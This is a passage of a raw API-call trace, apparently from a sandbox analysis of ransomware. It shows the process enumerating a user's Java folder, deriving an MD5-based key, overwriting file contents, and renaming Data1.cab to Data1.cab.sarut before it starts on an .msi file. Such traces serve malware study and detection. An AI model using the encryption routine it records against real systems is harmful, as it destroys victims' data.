Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.772] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.772] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.773] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.773] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.774] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.774] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x860) returned 0x31106e0 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xc46) returned 0x31106e0 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x31106e0 | out: hHeap=0x640000) returned 1 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x840) returned 0x3109120 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.775] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.775] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x830) returned 0x3109120 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x820) returned 0x3109120 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3109120 | out: hHeap=0x640000) returned 1 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.776] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\") returned="jre1.7.0_45\\" [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x80) returned 0x2fa5418 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.776] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\") returned="Java\\" [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x70) returned 0x3082288 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2fa5418 | out: hHeap=0x640000) returned 1 [0272.776] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\") returned="Sun\\" [0272.776] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.776] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3082288 | out: hHeap=0x640000) returned 1 [0272.777] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0272.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x50) returned 0x2ff2f48 [0272.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.777] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0272.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x40) returned 0x3081960 [0272.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff2f48 | out: hHeap=0x640000) returned 1 [0272.777] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0272.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab840 [0272.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x20) returned 0x3076e18 [0272.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3081960 | out: hHeap=0x640000) returned 1 [0272.777] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0272.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3076e18 | out: hHeap=0x640000) returned 1 [0272.777] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0272.777] PathFindFileNameW (pszPath="") returned="" [0272.777] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.777] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\*", lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x30914e0 [0272.777] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.777] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.778] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68cb4a40, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68cb4a40, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x182ac2a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Data1.cab", cAlternateFileName="")) returned 1 [0272.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0272.778] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0272.778] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0272.778] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab") returned=".cab" [0272.778] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0272.780] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=25340970) returned 1 [0272.780] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0272.782] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x182ac04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.783] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0272.907] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x30) returned 0x30ab728 [0272.907] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.907] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0272.907] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x25805, lpOverlapped=0x0) returned 1 [0272.965] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.965] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0272.966] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.966] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0272.966] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5418) returned 1 [0272.967] CryptCreateHash (in: hProv=0x2fa5418, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0272.967] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0272.967] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0272.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0272.967] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0272.967] GetLastError () returned 0x0 [0272.967] CryptDestroyHash (hHash=0x3091560) returned 1 [0272.967] CryptReleaseContext (hProv=0x2fa5418, dwFlags=0x0) returned 1 [0272.967] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0272.967] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25810) returned 0x311d708 [0272.968] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0272.968] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x30ab728 | out: hHeap=0x640000) returned 1 [0272.968] WriteFile (in: hFile=0x5c4, lpBuffer=0x311d708*, nNumberOfBytesToWrite=0x25800, lpNumberOfBytesWritten=0x387fb24, lpOverlapped=0x0 | out: lpBuffer=0x311d708*, lpNumberOfBytesWritten=0x387fb24*=0x25800, lpOverlapped=0x0) returned 1 [0272.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0272.969] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0x182ac2a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0272.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x60) returned 0x2ff1928 [0272.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x428) returned 0x712110 [0272.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", cchWideChar=-1, lpMultiByteStr=0x712110, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pQseAIqgTVhPujMMiqH1ILPNUg3soGVim0NAnkt1", lpUsedDefaultChar=0x0) returned 41 [0272.969] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x430) returned 0x71eaa8 [0272.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x712110 | out: hHeap=0x640000) returned 1 [0272.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x2ff1928 | out: hHeap=0x640000) returned 1 [0272.969] WriteFile (in: hFile=0x5c4, lpBuffer=0x71eaa8*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x71eaa8*, lpNumberOfBytesWritten=0x387fb2c*=0x28, lpOverlapped=0x0) returned 1 [0272.969] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x71eaa8 | out: hHeap=0x640000) returned 1 [0272.969] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0272.969] WriteFile (in: hFile=0x5c4, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x387fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x387fb2c*=0x26, lpOverlapped=0x0) returned 1 [0272.969] CloseHandle (hObject=0x5c4) returned 1 [0273.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xa0) returned 0x3115708 [0273.430] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x8b0) returned 0x311d708 [0273.430] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3115708 | out: hHeap=0x640000) returned 1 [0273.430] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\Data1.cab.sarut" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\data1.cab.sarut")) returned 1 [0273.431] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x311d708 | out: hHeap=0x640000) returned 1 [0273.431] VirtualFree (lpAddress=0x1fa0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0273.432] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x300f168 | out: hHeap=0x640000) returned 1 [0273.432] FindNextFileW (in: hFindFile=0x30914e0, lpFindFileData=0x387fba4 | out: lpFindFileData=0x387fba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x68d26e60, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x68d26e60, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x68d26e60, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xdd600, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="jre1.7.0_45.msi", cAlternateFileName="JRE170~1.MSI")) returned 1 [0273.432] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x90) returned 0x302b6c8 [0273.433] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0xd6) returned 0x300f168 [0273.433] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x302b6c8 | out: hHeap=0x640000) returned 1 [0273.433] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi") returned=".msi" [0273.433] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Sun\\Java\\jre1.7.0_45\\jre1.7.0_45.msi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\sun\\java\\jre1.7.0_45\\jre1.7.0_45.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0273.434] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x387fb4c | out: lpFileSize=0x387fb4c*=906752) returned 1 [0273.434] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x1fa0000 [0273.436] SetFilePointerEx (in: hFile=0x5c4, liDistanceToMove=0xdd5da, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0273.436] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x387fb7c, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb7c*=0x26, lpOverlapped=0x0) returned 1 [0273.524] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0273.524] ReadFile (in: hFile=0x5c4, lpBuffer=0x1fa0000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x387fb78, lpOverlapped=0x0 | out: lpBuffer=0x1fa0000*, lpNumberOfBytesRead=0x387fb78*=0x25805, lpOverlapped=0x0) returned 1 [0273.569] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.569] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25) returned 0x3097270 [0273.569] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.569] lstrlenA (lpString="80BD5A01D9E6AC0534B4F46A9A2C9F1B") returned 32 [0273.569] CryptAcquireContextW (in: phProv=0x387fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x387fa94*=0x2fa5418) returned 1 [0273.570] CryptCreateHash (in: hProv=0x2fa5418, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x387fa9c | out: phHash=0x387fa9c) returned 1 [0273.570] CryptHashData (hHash=0x3091560, pbData=0x3097270, dwDataLen=0x25, dwFlags=0x0) returned 1 [0273.571] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x0, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x387fa98) returned 1 [0273.571] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x11) returned 0x3069588 [0273.571] CryptGetHashParam (in: hHash=0x3091560, dwParam=0x2, pbData=0x3069588, pdwDataLen=0x387fa98, dwFlags=0x0 | out: pbData=0x3069588, pdwDataLen=0x387fa98) returned 1 [0273.571] GetLastError () returned 0x0 [0273.571] CryptDestroyHash (hHash=0x3091560) returned 1 [0273.571] CryptReleaseContext (hProv=0x2fa5418, dwFlags=0x0) returned 1 [0273.571] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3097270 | out: hHeap=0x640000) returned 1 [0273.571] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x25810) returned 0x311d708 [0273.572] SetFilePointer (in: hFile=0x5c4, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0273.572] HeapFree 